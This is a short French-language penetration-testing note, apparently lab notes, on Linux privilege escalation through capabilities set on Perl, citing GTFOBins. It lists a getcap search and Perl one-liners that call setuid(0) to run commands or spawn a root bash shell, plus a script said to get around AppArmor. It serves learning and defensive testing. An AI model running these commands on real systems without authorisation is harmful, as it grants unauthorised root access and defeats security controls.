Capabilities (Perl) - Linux Privilege Escalation

Exploitation des Capabilities sur Perl

perl | GTFOBinsgtfobins.github.io

Nous listons les capabilities disponibles :

getcap -r / 2>/dev/null

Nous remarquons que perl dispose de permissions particulières.

Exécution d'une commande en tant que root

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'

Nous obtenons root.

contournement d'AppArmor

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'

Un binaire /usr/bin/perl est restreint par AppArmor

Nous exploitons un bug connu d'AppArmor pour contourner la restriction en créant un script :

#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";